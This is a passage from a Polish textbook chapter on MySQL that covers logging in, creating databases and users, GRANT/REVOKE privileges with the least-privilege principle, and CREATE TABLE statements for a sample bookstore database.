Opcja –u jest stosowana w celu wskazania identyfikatora użytkownika, na którego następuje logo-
wanie. Jeśli identyfikator ten nie zostanie podany, wówczas MySQL domyślnie użyje identyfikatora
tego użytkownika, który jest aktualnie zalogowany do systemu operacyjnego.

Jeśli MySQL został zainstalowany na komputerze lub serwerze czytelnika, będzie on zmuszony
zalogować się jako użytkownik root oraz samodzielnie utworzyć bazę danych, którą będzie wyko-
rzystywał w trakcie uruchamiania zawartych w tym rozdziale przykładów. Przy pierwszym uru-
chomieniu serwera użytkownik root jest jedynym zarejestrowanym użytkownikiem. W trakcie
pracy na serwerze zainstalowanym na komputerze administrowanym przez inną osobę należy przy
logowaniu użyć identyfikatora użytkownika, podanego przez administratora.

Opcja –p informuje serwer o logowaniu się z użyciem hasła. Może ona zostać pominięta, jeśli dla
danego użytkownika hasło nie zostało ustanowione.

Jeżeli czytelnik loguje się jako użytkownik root bez konieczności podania hasła, zalecane jest
określenie hasła dostępu zgodnie z instrukcjami zawartymi w dodatku A. Jego brak powoduje, iż
system będzie niedostatecznie zabezpieczony.

Podawanie hasła w tym samym wierszu co polecenie mysql nie jest obowiązkowe. Jeżeli nie zostanie
ono podane, to serwer MySQL sam o nie „zapyta”. Tak naprawdę pominięcie hasła jest właściwie
lepszym rozwiązaniem, gdyż wpisane w wierszu poleceń będzie miało formę zwykłego tekstu,
co umożliwi osobom postronnym jego wykrycie.

Po wpisaniu komendy podanej na początku podrozdziału wyświetlona zostanie odpowiedź w nastę-


pującej formie:
Enter password:

(Jeżeli polecenie to nie zadziała, trzeba sprawdzić, czy serwer MySQL jest uruchomiony, a komenda
mysql może być zrealizowana w bieżącej ścieżce dostępu).
230 Część II  Stosowanie MySQL

Następnie należy podać hasło dostępu. Jeśli wszystko przebiegnie prawidłowo, powinien zostać
wyświetlony komunikat podobny do poniższego:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 559
Server version: 5.6.19-log MySQL Community Server (GPL)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its


affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>

Jeżeli czytelnik pracuje na własnym komputerze i komunikat nie będzie przypominał powyższego,
wówczas należy upewnić się, czy uruchomiona jest aplikacja mysql_install_db (jeżeli jest wyma-
gana) i czy zostało określone oraz wpisane prawidłowo hasło dostępu dla użytkownika root. Jeśli
praca odbywa się na zdalnej maszynie, trzeba upewnić się, iż podane hasło jest prawidłowe.

Po zalogowaniu się do serwera kursor powinien znajdować się przy znaku zachęty, umożliwiając
stworzenie nowej bazy danych. Czytelnik pracujący na własnym komputerze powinien stosować
się do instrukcji podanych w dalszej części rozdziału. Czytelnik korzystający z maszyny admi-
nistrowanej przez inną osobę powinien mieć utworzoną i przypisaną mu bazę danych, może
więc od razu przejść do lektury podrozdziału „Używanie odpowiedniej bazy danych”. Można
oczywiście zapoznać się z poprzedzającymi go podrozdziałami, nie będzie jednak możliwości
(a przynajmniej nie powinno być) uruchamiania wyszczególnionych w nich poleceń.

Tworzenie baz i rejestrowanie użytkowników


System baz danych MySQL jest w stanie obsługiwać wiele baz danych jednocześnie. Zazwyczaj
jedna aplikacja współpracuje z jedną bazą danych. Dla księgarni „Książkorama” baza ta nosi nazwę
Ksiazki.

Tworzenie bazy danych to czynność najprostsza. W wierszu poleceń MySQL należy wpisać:
mysql> create database nazwa_bazy;

W miejsce nazwa_bazy należy podać nazwę bazy danych, która ma zostać utworzona. W naszym
przykładzie jest to baza o nazwie Ksiazki.

I to wszystko! Otrzymana odpowiedź powinna wyglądać mniej więcej tak (czas wykonania polece-
nia może się różnić):
Query OK, 1 row affected (0.06 sec)

Oznacza to, że operacja została wykonana bez błędów. Jeśli taki komunikat się nie pojawi, należy
upewnić się, że na końcu komendy został wpisany znak średnika. Informuje on serwer MySQL
o zakończeniu wpisywania polecenia i o konieczności jego wykonania.

Definiowanie użytkowników i przywilejów


System MySQL może obsługiwać wielu użytkowników. Użytkownik root powinien być wykorzysty-
wany w zasadzie tylko do celów administracyjnych, co jest podyktowane względami bezpieczeństwa.
Rozdział 9.  Tworzenie internetowej bazy danych 231

Dla każdego użytkownika, który będzie pracował w systemie, trzeba utworzyć konto i nadać mu hasło
dostępu. Nie muszą one być takie same, jak identyfikator użytkownika i hasło wykorzystywane do za-
logowania się do systemu operacyjnego. Ta sama zasada odnosi się do użytkownika root. Pożądane
jest stosowanie różnych haseł dostępu w razie logowania się do systemu operacyjnego i serwera
MySQL, szczególnie w przypadku użytkownika root.

Nadawanie hasła nowym użytkownikom nie jest obowiązkowe, jednak ze względów bezpieczeń-
stwa pożądane jest, aby każdy użytkownik posiadał własne hasło dostępu. W przypadku tworzenia
internetowej bazy danych wskazane jest utworzenie co najmniej jednego użytkownika, który będzie
wykorzystywany tylko przez daną aplikację bazodanową. Można by zadać pytanie o cel tej operacji.
Odpowiedź związana jest z systemem przywilejów.

Wprowadzenie do systemu przywilejów MySQL


Jedną z najważniejszych cech MySQL jest obsługa wyrafinowanego systemu przywilejów.
Przywilej to inaczej posiadane przez określonego użytkownika prawo do wykonania określonego
polecenia na określonym obiekcie. Idea przywilejów jest zbliżona do koncepcji praw dostępu
do plików. Rejestrując nowego użytkownika MySQL, należy nadać mu odpowiednie przywileje
w celu wyszczególnienia czynności, które będzie on mógł wykonać w systemie.

Zasada najmniejszego przywileju


Zasada najmniejszego przywileju jest stosowana w celu zwiększenia bezpieczeństwa systemu
komputerowego. Jest to podstawowa, ale bardzo ważna zasada, o której niestety często się zapomi-
na. Brzmi ona następująco:
Użytkownik (lub proces) powinien posiadać minimalny zbiór przywilejów potrzebnych
do wykonania przypisanego mu zadania.

Zasadę tę należy stosować wszędzie, nie tylko w odniesieniu do MySQL. Na przykład do wysłania
zapytania do bazy danych ze strony WWW użytkownik nie będzie potrzebował wszystkich przywi-
lejów, które posiada użytkownik root. Należy więc utworzyć nowego użytkownika i nadać mu
tylko przywileje niezbędne do uzyskania dostępu do bazy danych.

Rejestrowanie użytkowników: polecenia CREATE USER oraz GRANT


Polecenia GRANT i REVOKE służą do nadawania i odbierania użytkownikom MySQL praw na czterech
poziomach uprzywilejowania. Wyróżniamy następujące poziomy przywilejów:
 globalny,
 baza danych,
 tabela,
 kolumna,
 procedury składowane,
 użytkownik pośredniczący.

W tym rozdziale zostaną opisane pierwsze cztery z nich. Uprawnienia związane z procedu-
rami składowanymi zostaną opisane w rozdziale 13., „Zaawansowane programowanie w MySQL”.
Z kolei uprawnienia związane z użytkownikami pośredniczącymi w ogóle nie zostaną dokładniej
232 Część II  Stosowanie MySQL

opisane w tej książce, gdyż są one stosowane bardzo rzadko. Informacje na ich temat można
znaleźć w dokumentacji MySQL.

Polecenie CREATE USER, jak można się spodziewać, tworzy użytkownika. Ogólna postać tego pole-
cenia została przedstawiona poniżej:
CREATE USER identyfikator_uzytkownika
IDENTIFIED BY [PASSWORD] haslo | IDENTIFIED WITH [wtyczka_uwierzytelniania]
[AS lancuch_uwierzytelniania]

Klauzule zapisane w nawiasach kwadratowych są opcjonalne.

Element identyfikator_uzytkownika składa się z nazwy użytkownika, po której opcjonalnie moż-


na podać nazwę komputera (hosta), przy czym obie te nazwy muszą być zapisane w apostrofach
i oddzielone od siebie znakiem @, na przykład: 'laura'@'localhost'.

Nazwa użytkownika to nazwa, której użytkownik chce używać podczas logowania się do serwera
MySQL. Trzeba pamiętać, że nie musi ona być taka sama jak nazwa użytkownika stosowana do
logowania się w systemie operacyjnym. Identyfikator użytkownika może także zawierać informacje
o nazwie komputera. Można jej używać do odróżniania użytkownika laura (rozumianego jako
laura@localhost) od użytkownika laura@inny.host.com. To bardzo przydatna możliwość, gdyż
użytkownicy z różnych domen mogą mieć takie same imiona. Co więcej, określanie komputera
zwiększa także bezpieczeństwo, bo pozwala określać, z którego komputera dany użytkownik może
się zalogować, a nawet do których tablic i kolumn będzie on miał dostęp z konkretnej lokalizacji.

Element haslo powinien określać hasło, którego użytkownik będzie używał do zalogowania się
na serwerze MySQL. Oczywiście obowiązują tu standardowe reguły związane z określaniem ha-
seł. Zagadnieniom bezpieczeństwa poświęcimy nieco więcej uwagi w dalszej części książki; na
pewno trzeba jednak zadbać o to, by hasła nie dało się łatwo odgadnąć. Oznacza to, że hasło nie
może być słowem pochodzącym ze słownika ani nie może być takie samo jak nazwa użytkownika.
W optymalnym przypadku powinno ono stanowić kombinację małych i wielkich liter oraz znaków,
które nie są literami.

Począwszy od wersji MySQL 5.5.7, jako alternatywę dla hasła można stosować tak zwaną wtycz-
kę uwierzytelniania (ang. authentication plugin). W tym celu trzeba skorzystać z alternatywnej
składni polecenia: IDENTIFIED WITH [wtyczka_uwierzytelniania]. Stosowanie wtyczek uwierzytel-
niania nie zostanie opisane w niniejszej książce, ale zostało ono omówione w dokumentacji MySQL.
Polecenie GRANT służy do określania uprawnień użytkowników. Poza tym, jeśli konto użytkownika
jeszcze nie istnieje, wydanie polecenia GRANT spowoduje jego utworzenie. Oznacza to, że w celu
uproszczenia procedury tworzenia użytkownika można się ograniczyć do zastosowania samego
polecenia GRANT.

Ogólna składnia tego polecenia jest następująca:


GRANT przywileje [kolumny]
ON obiekt
TO identyfikator_uzytkownika [IDENTIFIED BY 'haslo']
IDENTIFIED BY [PASSWORD] haslo | IDENTIFIED WITH [wtyczka_uwierzytelniania]
[REQUIRE opcje_ssl]
[WITH [GRANT OPTION | ograniczenia] ]

Klauzule w nawiasach kwadratowych są opcjonalne. Poniżej zostaną omówione poszczególne


parametry tego polecenia.

Pierwszy z nich, przywileje, ma postać listy przywilejów oddzielonych przecinkami. MySQL


posiada liczny zbiór przywilejów, opisanych w następnym podrozdziale.
Rozdział 9.  Tworzenie internetowej bazy danych 233

Parametr kolumny jest opcjonalny. Używa się go w celu wskazania kolumn, do których podane
przywileje zostaną zastosowane. Można podać nazwę pojedynczej kolumny lub listę nazw kolumn
oddzielonych przecinkami.

Parametr obiekt wskazuje bazę lub tabelę, do której zostaną zastosowane podane przywileje. W celu
nadania przywilejów na wszystkie bazy danych w systemie obiekt powinien przyjąć wartość *.*.
Wówczas przywileje zostały nadane na poziomie globalnym. Ten sam efekt można osiągnąć, przypi-
sując parametrowi obiekt wartość *, jeśli nie jest używana żadna baza danych. Częściej jednak wskazuje
się wszystkie tabele w bazie, wpisując nazwa_bazy.*, konkretną tabelę (nazwa_bazy.nazwa_tabeli)
lub pojedyncze kolumny w danej tabeli poprzez wpisanie nazwa_bazy.nazwa_tabeli i nadanie odpo-
wiedniej wartości parametrowi kolumny. Za pomocą tych metod nadaje się przywileje na pozo-
stałych trzech poziomach uprzywilejowania, odpowiednio: baza danych, tabela i kolumna. Jeżeli
w trakcie wykonywania tego polecenia używana jest konkretna baza danych, to podanie samej
nazwy tabeli będzie zinterpretowane jako nadanie przywilejów tabeli o tej nazwie, znajdującej się
w używanej bazie danych.
Klauzula REQUIRE pozwala wskazać, że użytkownik musi łączyć się poprzez protokół Secure Sockets
Layer (SSL), a także wskazać opcje SSL. Więcej informacji na temat połączeń z serwerem MySQL
za pośrednictwem SSL można znaleźć w podręczniku MySQL.
Dodanie opcji WITH GRANT OPTION spowoduje, że wskazany użytkownik będzie mógł nadawać innym
użytkownikom takie przywileje, jakie sam posiada.

Zamiast niej można użyć klauzuli WITH w postaci


MAX_QUERIES_PER_HOUR n

lub
MAX_UPDATES_PER_HOUR n

lub
MAX_CONNECTIONS_PER_HOUR n

lub
MAX_USER_CONNECTIONS n

Dzięki tym klauzulom można ograniczyć liczbę zapytań, uaktualnień lub połączeń, jakie jeden
użytkownik może zrealizować w ciągu godziny, bądź też liczbę jednoczesnych połączeń, jakie dany
użytkownik może otworzyć. Rozwiązanie to może przydać się do ograniczania obciążenia systemów
współużytkowanych generowanego przez jednego użytkownika.
Informacje dotyczące nadanych uprawnień zapamiętywane są w sześciu tabelach systemowych,
znajdujących się w bazie danych o nazwie mysql. Tabele te noszą nazwy: mysql.user, mysql.db,
mysql.host, mysql.tables_priv, mysql.columns_priv oraz mysql.procs_priv. Zamiast wykorzysty-
wać polecenie GRANT, można zmieniać dane bezpośrednio w wymienionych tabelach. Szczegółowe
informacje na temat sposobu działania tych tabel oraz metod wprowadzania zmian bezpośrednio
w nich zostaną przedstawione w rozdziale 12.

Typy i poziomy przywilejów


MySQL wykorzystuje trzy typy przywilejów:
 przywileje nadawane zwykłym użytkownikom,
 przywileje dla administratorów,
 przywileje specjalne.
234 Część II  Stosowanie MySQL

Każdemu użytkownikowi można przyporządkować przywileje dowolnego typu, najrozsądniejsze


jednak jest nadawanie przywilejów dla administratorów tylko administratorom systemu, czyli zgod-
nie ze wspomnianą wcześniej zasadą najmniejszego przywileju.

Użytkownikom należy nadawać takie przywileje, które umożliwią korzystanie tylko z potrzebnych
im baz i tabel. Nikomu, z wyjątkiem administratora, nie należy udostępniać systemowej bazy mysql,
gdyż w niej właśnie przechowywane są identyfikatory wszystkich użytkowników, ich hasła dostępu
itp. (szerzej zagadnienie to jest opisane w rozdziale 12.).

Przywileje przeznaczone dla zwykłych użytkowników odwołują się bezpośrednio do konkretnych


rodzajów poleceń SQL i określają, czy dany użytkownik może wykonywać polecenia tego typu.
Polecenia języka SQL zostaną szerzej omówione w następnym rozdziale. Na razie przedstawiony
zostanie tylko krótki opis najważniejszych przywilejów (tabela 9.1). Kolumna „Zastosowanie”
wskazuje obiekty, którym może być nadany określony typ przywilejów.

Tabela 9.1. Przywileje dla użytkowników

Przywilej Zastosowanie Opis


SELECT Tabele, kolumny Pozwala na wyszukiwanie wierszy (rekordów) z tabel
INSERT Tabele, kolumny Pozwala na wstawianie nowych wierszy do tabel
UPDATE Tabele, kolumny Pozwala na zmianę wartości wierszy zapisanych w tabeli
DELETE Tabele Pozwala na usuwanie z tabeli istniejących wierszy
INDEX Tabele Pozwala na tworzenie i usuwanie indeksów w poszczególnych tabelach
ALTER Tabele Pozwala na dokonywanie zmian w strukturze istniejących tabel, np.
dodawanie nowych kolumn, zmianę nazw kolumn lub tabel,
zmianę typu danych istniejących kolumn
CREATE Bazy danych, tabele Pozwala na tworzenie nowych tabel i baz danych. Jeżeli w ramach
polecenia GRANT podano nazwę konkretnej tabeli lub kolumny,
to użytkownik ma prawo utworzyć tabelę lub kolumnę tylko o tej nazwie,
a więc najpierw będzie zmuszony ją usunąć
DROP Bazy danych, tabele Pozwala na usuwanie baz lub tabel
EVENT Bazy danych Pozwala użytkownikom na przeglądanie, tworzenie, modyfikowanie
oraz usuwanie zdarzeń w mechanizmie planowania (Event Scheduler,
który nie został opisany w tej książce)
TRIGGER Tabele Pozwala użytkownikom na tworzenie, wykonywanie i usuwanie
wyzwalaczy (ang. triggers) odnoszących się do tabeli określonej
w poleceniu
CREATE VIEW Widoki Pozwala użytkownikom na tworzenie widoków
SHOW VIEW Widoki Pozwala użytkownikom na wyświetlenie polecenia zastosowanego
do utworzenia widoku
PROXY Wszystko Pozwala użytkownikom na wykorzystanie tożsamości innego
użytkownika; działa tak samo jak polecenie su w systemie Unix
CREATE ROUTINE Procedury Pozwala użytkownikom na tworzenie procedur i funkcji składowanych
składowane
EXECUTE Procedury Pozwala użytkownikom na wykonywanie procedur i funkcji składowanych
składowane
ALTER ROUTINE Procedury Pozwala użytkownikom na modyfikowanie definicji procedur i funkcji
składowane składowanych
Rozdział 9.  Tworzenie internetowej bazy danych 235

Większość przywilejów przeznaczonych dla zwykłych użytkowników nie powoduje zmniejszenia


bezpieczeństwa systemu. Przywilej ALTER może być wykorzystywany do obchodzenia systemu
przywilejów poprzez zmianę nazw tabel, jednak jest on potrzebny większości użytkowników.
Ochrona systemu jest zawsze rezultatem kompromisu między jego użytecznością a poziomem
zabezpieczeń. Administrator powinien samodzielnie podejmować decyzję o nadaniu, lub nie,
przywileju ALTER zwykłym użytkownikom. Zazwyczaj jednak przywilej ten jest nadawany.

Oprócz przywilejów opisanych w tabeli 9.1 stosowany jest także przywilej GRANT, nadawany częściej
poprzez dodanie opcji WITH GRANT OPTION niż przez dołączanie go do listy wartości parametru
przywileje.

W tabeli 9.2 opisano przywileje przeznaczone dla administratorów.

Tabela 9.2. Przywileje dla administratorów

Przywilej Opis
CREATE TABLESPACE Pozwala administratorowi na tworzenie, modyfikowanie i usuwanie przestrzeni tabel
CREATE USER Pozwala administratorowi na tworzenie użytkowników (w sposób pokazany wcześniej)
CREATE TEMPORARY TABLES Pozwala administratorowi na używanie słowa kluczowego TEMPORARY w instrukcjach
CREATE TABLE

FILE Pozwala na wczytywanie danych z plików do tabel i odwrotnie


LOCK TABLES Pozwala na jawne używanie instrukcji LOCK TABLES
PROCESS Pozwala na śledzenie procesów wykonywanych przez serwer i ich przerywanie
RELOAD Pozwala na powtórne załadowanie tabel zawierających informacje na temat praw
dostępu oraz na odświeżenie przywilejów, listy nazw łączących się komputerów,
dziennika zdarzeń i tabel
REPLICATION CLIENT Pozwala na używanie instrukcji SHOW STATUS na nadawcach i odbiorcach replikacji.
Mechanizm replikacji zostanie opisany w rozdziale 12.
REPLICATION SLAVE Pozwala serwerom będącym odbiorcami replikacji na łączenie się z serwerem-nadawcą.
Mechanizm replikacji zostanie opisany w rozdziale 12.
SHOW DATABASES Pozwala na odczytywanie listy wszystkich baz danych przy użyciu instrukcji SHOW
DATABASES. Użytkownicy, którzy nie mają tego uprawnienia, będą widzieć wyłącznie
bazy, do których przydzielono im dostęp
SHUTDOWN Umożliwia zakończenie pracy serwera MySQL
SUPER Pozwala administratorowi na zabijanie wątków należących do dowolnego użytkownika

Istnieje możliwość nadania opisanych przywilejów użytkownikom niemającym statusu admini-


stratora, jednak należy tego dokonywać z zachowaniem najwyższej ostrożności.

Przywilej FILE jest dość szczególny. Jest on bardzo przydatny dla użytkowników, gdyż możli-
wość wstawiania danych bezpośrednio z plików do tabel pozwala zaoszczędzić czas, konieczny
na ręczne wpisywanie kolejnych wartości. Z drugiej strony jednak może zostać wykorzystany do
załadowania wszelkich plików, które widzi serwer MySQL, np. pliku bazy należącej do innego
użytkownika czy pliku zawierającego hasła dostępu. Przywilej ten powinien więc być nadawany
z rozwagą lub też administrator powinien sam dokonywać ładowania danych z pliku do wskaza-
nej przez użytkownika tabeli.

MySQL posiada również dwa specjalne przywileje, przedstawione w tabeli 9.3.


236 Część II  Stosowanie MySQL

Tabela 9.3. Przywileje specjalne

Przywilej Opis
ALL Nadaje wszystkie przywileje opisane w tabelach 9.1 i 9.2. Jest on równoważny przywilejowi ALL
PRIVILEGES
USAGE Nie nadaje żadnych przywilejów. Powoduje zarejestrowanie użytkownika i pozwala mu na zalogowanie
się, lecz jakiekolwiek inne czynności są dla niego niedostępne. Odpowiednie przywileje nadawane
są zwykle później. Zastosowanie polecenia GRANT w celu utworzenia użytkownika z przywilejem
USAGE jest odpowiednikiem wykonania polecenia CREATE USER

Polecenie REVOKE
Przeciwieństwem GRANT jest polecenie REVOKE, używane w celu odebrania użytkownikowi okre-
ślonych przywilejów. Jego składnia jest bardzo podobna do składni polecenia GRANT:
REVOKE przywileje [kolumny]
ON obiekt
FROM identyfikator_uzytkownika

Jeżeli do polecenia GRANT dołączono opcję WITH GRANT OPTION, przywilej ten można cofnąć (podob-
nie jak wszystkie inne przywileje) w następujący sposób:
REVOKE ALL PRIVILEGES, GRANT OPTION
FROM identyfikator_uzytkownika

Przykłady użycia poleceń GRANT i REVOKE


Aby zarejestrować użytkownika mającego status administratora, należy wpisać:
mysql> grant all
-> on *.*
-> to 'fred' identified by 'mnb123'
-> with grant option;

Polecenie to spowoduje nadanie wszystkich przywilejów na wszystkie bazy danych użytkowni-


kowi o identyfikatorze Fred, posługującemu się hasłem mnb123, oraz umożliwi nadanie dowolnego
przywileju innym użytkownikom.

Niekiedy konieczne okazuje się wyeliminowanie tego użytkownika. Można to zrobić w następujący
sposób:
mysql> revoke all privileges, grant option
-> from 'fred';

Zarejestrujmy teraz użytkownika, który nie będzie posiadał żadnych przywilejów:


mysql> grant usage
-> on ksiazki.*
-> to 'zosia'@'localhost' identified by 'magic123';

Po rozmowie z Zosią wiadomo już, w jaki sposób chce korzystać z bazy, można więc nadać jej
odpowiednie przywileje:
mysql> grant select, insert, update, delete, index, alter, create, drop
-> on ksiazki.*
-> to 'zosia'@'localhost';

Jak widać, nie ma już potrzeby podawania hasła dostępu, jakim posługuje się Zosia.
Rozdział 9.  Tworzenie internetowej bazy danych 237

Jeżeli administrator dojdzie do wniosku, że Zosia wykonała już część swoich zadań, może ograni-
czyć nadane jej przywileje:
mysql> revoke alter, create, drop
-> on ksiazki.*
-> from 'zosia'@'localhost';

Kiedy Zosia nie będzie już potrzebowała dostępu do bazy danych, można odebrać jej wszystkie
pozostałe przywileje:
mysql> revoke all
-> on ksiazki.*
-> from 'zosia'@'localhost';

Rejestrowanie użytkownika
łączącego się z internetu
Konieczne jest zarejestrowanie użytkownika, który łączy się z bazą danych poprzez stronę WWW
zawierającą skrypty PHP. Również w tym przypadku należy zastosować zasadę najmniejszego
przywileju, trzeba więc rozważyć, jakie operacje ma wykonywać skrypt PHP.

W większości przypadków wystarczą przywileje SELECT, INSERT, DELETE i UPDATE. Nadaje się je
w następujący sposób:
mysql> grant select, insert, delete, update
-> on ksiazki.*
-> to 'ksiazkorama' identified by 'ksiazkorama123';

Oczywiście ze względów bezpieczeństwa hasło powinno być bardziej skomplikowane niż podane
w przykładzie.

Użytkownik korzystający z usług zewnętrznej firmy internetowej otrzyma zapewne szersze przy-
wileje na pracę z przydzieloną mu bazą danych. Identyfikator użytkownika i jego hasło dostępu
będą prawdopodobnie umożliwiały zarówno wydawanie poleceń serwerowi MySQL (tworzenie
tabel itp.), jak i łączenie się z bazą z poziomu strony WWW (np. wyszukiwanie danych w tabeli).
Użycie takiego samego identyfikatora użytkownika i hasła mogłoby obniżyć nieznacznie stopień
zabezpieczenia systemu, zalecane jest więc zarejestrowanie nowego użytkownika z następującym
zbiorem przywilejów:
mysql> grant select, insert, update, delete, index, alter, create, drop
-> on ksiazki.*
-> to 'ksiazkorama' identified by 'ksiazkorama123';

Utwórz więc drugą wersję użytkownika, gdyż będziemy jej potrzebować w następnych sekcjach.

Należy zauważyć, że w tym przypadku nie została określona nazwa komputera. Oczywiście w razie
potrzeby można ją dodać. Dodawana wartość zależy od tego, gdzie będzie działał kod PHP. Jeśli
będzie on wykonywany na tym samym komputerze, to można dodać 'localhost', jeśli natomiast
będzie on wykonywany na innym komputerze, to konieczne będzie dodanie odpowiedniego ad-
resu IP lub nazwy komputera.

Wylogowanie się z serwera MySQL jest dokonywane za pomocą polecenia quit. Zalecane jest
ponowne zalogowanie się jako użytkownik internetowy (zarejestrowany w poprzednim punkcie)
i sprawdzenie poprawności działania bazy danych. Jeżeli wpisana instrukcja GRANT została wyko-
nana, lecz nadal nie można się zalogować, zwykle oznacza to, że w trakcie procesu instalacji nie
238 Część II  Stosowanie MySQL

usunięto anonimowego użytkownika. Z powrotem więc trzeba zalogować się jako użytkownik
root i wykonać instrukcje zawarte w dodatku A, zmierzające do usunięcia kont anonimowych. Po
wykonaniu tej operacji nie powinno już być problemów z zalogowaniem się jako użytkownik
internetowy.

Używanie odpowiedniej bazy danych


Przed przystąpieniem do lektury tego podrozdziału Czytelnik powinien być już zalogowany do
serwera MySQL na koncie zwykłego użytkownika, założonym w poprzednim podrozdziale lub
też utworzonym przez administratora systemu.

Pierwszą czynnością, jaką należy wykonać, jest wskazanie bazy danych, która zostanie wykorzy-
stana. Służy do tego następujące polecenie:
mysql> use nazwa_bazy;

gdzie nazwa_bazy jest nazwą bazy danych.

Tę samą operację można wykonać, podając nazwę bazy danych w trakcie logowania się do serwera:
> mysql –D nazwa_bazy –h nazwa_komputera –u identyfikator_uzytkownika –p

W omawianym przykładzie wykorzystywana będzie baza danych Ksiazki:


mysql> use ksiazki;

Po wykonaniu tego polecenia MySQL powinien zwrócić następujący komunikat:


Database changed

Jeżeli przed przystąpieniem do pracy nie zostanie wybrana żadna baza danych, serwer wyświetli
komunikat o błędzie:
ERROR 1046 (3D000): No Database Selected

Tworzenie tabel bazy danych


Następnym etapem tworzenia bazy danych jest konstrukcja tabel. Służy do tego polecenie języka
SQL CREATE TABLE, którego składnia przedstawia się następująco:
CREATE TABLE nazwa_tabeli(kolumny)

Niektórzy Czytelnicy mogą już wiedzieć, że MySQL udostępnia więcej niż jeden typ tabel czy
mechanizm przechowywania danych. Więcej na temat typów tabel napiszemy w rozdziale 13.
Na razie wszystkie tabele znajdujące się w naszych bazach danych będą używały domyślnego
mechanizmu przechowywania danych, którym od wersji MySQL 5.5.5 jest InnoDB.

Parametr nazwa_tabeli powinien określać nazwę tabeli, która ma zostać utworzona. Z kolei para-
metr kolumny powinien mieć postać listy kolumn oddzielonych przecinkami, jakie będzie zawierać
nowa tabela. Każda z kolumn musi być określona przez podanie jej nazwy i typu danych.

Przypomnijmy schemat bazy danych księgarni „Książkorama”:


Klienci(KlientID, Nazwisko, Adres, Miejscowosc)
Zamowienia (ZamowienieID, KlientID, Wartosc, Data)
Ksiazki (ISBN, Autor, Tytul, Cena)
Pozycje_zamowione (ZamowienieID, ISBN, Ilosc)
Recenzje_ksiazek (ISBN, Recenzja)
Rozdział 9.  Tworzenie internetowej bazy danych 239

Na listingu 9.1 przedstawione są polecenia SQL, za pomocą których zostaną utworzone powyższe
tabele (przy założeniu, że istnieje już baza danych Ksiazki). Kod ten znajduje się również w przy-
kładach dołączonych do tej książki, zamieszczonych w katalogu rozdzial_09, w pliku o nazwie
ksiazkorama.sql.

Listing 9.1. ksiazkorama.sql — kod SQL tworzy tabele w bazie danych księgarni „Książkorama”
CREATE TABLE Klienci
( KlientID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Nazwisko char(50) NOT NULL,
Adres char(100) NOT NULL,
Miejscowosc char(30) NOT NULL
);

CREATE TABLE Zamowienia


( Zamowienieid INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Klientid INT UNSIGNED NOT NULL,
Wartosc FLOAT(6,2),
Data DATE NOT NULL,

FOREIGN KEY (KlientID) REFERENCES Klienci(KlientID)


);

CREATE TABLE Ksiazki


( ISBN CHAR(13) NOT NULL PRIMARY KEY,
Autor CHAR(50),
Tytul CHAR(100),
Cena FLOAT(4,2)
);

CREATE TABLE Pozycje_zamowione


( ZamowienieID INT UNSIGNED NOT NULL,
ISBN CHAR(13) NOT NULL,
Ilosc TINYINT UNSIGNED,

PRIMARY KEY (ZamowienieID, ISBN),


FOREIGN KEY (ZamowienieID) REFERENCES Zamowienia(ZamowienieID),
FOREIGN KEY (ISBN) REFERENCES Ksiazki(ISBN)
);

CREATE TABLE Recenzje_ksiazek


( ISBN CHAR(13) NOT NULL PRIMARY KEY,
Recenzja TEXT,

FOREIGN KEY (ISBN) REFERENCES Ksiazki(ISBN)


);

Kod SQL zawarty w pliku ksiazkorama.sql zostanie wykonany po wpisaniu następującego pole-
cenia (zakładamy przy tym, że plik ksiazkorama.sql ma tę samą lokalizację, co aplikacja mysql):
> mysql –h nazwa_komputera –u ksiazkorama –D ksiazki –p < ksiazkorama.sql

(Pamiętaj, by parametr nazwa_komputera zastąpić nazwą swego komputera oraz aby wskazać pełną
ścieżkę dostępu do pliku ksiazkorama.sql).

Mechanizm przekierowania do pliku zawierającego kod SQL jest bardzo poręczny, gdyż pozwala
na edycję kodu za pomocą dowolnego edytora tekstowego przed jego wykonaniem.
240 Część II  Stosowanie MySQL

Pojedyncza tabela jest tworzona za pomocą odrębnego polecenia CREATE TABLE. Jak widać, każda
z tabel zawiera kolumny wyszczególnione w schemacie bazy danych, utworzonym w poprzednim
rozdziale. Ponadto każdej kolumnie nadano nazwę oraz przypisano typ danych. Niektóre kolumny
są opisywane przez dodatkowe atrybuty, objaśnione w następnym punkcie.

Znaczenie dodatkowych atrybutów kolumn


NOT NULL oznacza, że pole, przy którym ten atrybut stoi, musi w każdym wierszu tabeli mieć nadaną
jakąś wartość. Jeżeli przy opisie nowej kolumny atrybut został pominięty, wówczas jej pola mogą
być puste (NULL).

AUTO_INCREMENT jest specjalnym atrybutem nadawanym kolumnom przechowującym wartości całko-


witoliczbowe. Jeżeli do tabeli zostanie wpisany nowy rekord, w którym wartość pola z atrybutem
AUTO_INCREMENT będzie nieokreślona, wówczas serwer MySQL automatycznie wstawi w to miejsce
unikalny identyfikator — będzie nim liczba całkowita o wartości równej dotychczasowej maksy-
malnej wartości w tej kolumnie i powiększonej o jeden. W każdej tabeli może występować najwy-
żej jedna kolumna z tym atrybutem. Kolumny z atrybutem AUTO_INCREMENT muszą być indeksowane.

Atrybut PRIMARY KEY oznacza, że wskazana kolumna jest kluczem podstawowym tabeli, a wartości
w niej zapisywane muszą być unikalne. MySQL automatycznie indeksuje takie kolumny. Zauważ-
my, że w pliku ksiazkorama.sql wszystkim kolumnom z atrybutem AUTO_INCREMENT (np. KlientID
w tabeli Klienci) przypisano również atrybut PRIMARY KEY, dzięki czemu został spełniony wymóg
indeksowania pól z atrybutem AUTO_INCREMENT.

Atrybut PRIMARY KEY może być wyszczególniony zaraz za nazwą nowej kolumny wyłącznie w przy-
padku, gdy tylko ta jedna kolumna jest kluczem podstawowym tabeli. Inny sposób określenia klucza
podstawowego został zaprezentowany dla tabeli Pozycje_zamowione. Wykorzystanie omawianej
metody jest wymuszone tym, że w skład klucza podstawowego tabeli Pozycje_zamowione wchodzi
nie jedna, ale dwie kolumny jednocześnie. (To prowadzi również do utworzenia indeksu bazują-
cego na obydwóch kolumnach).

Na końcu definicji tabeli można także podać klauzulę FOREIGN KEY wraz z nazwą tabeli oraz ko-
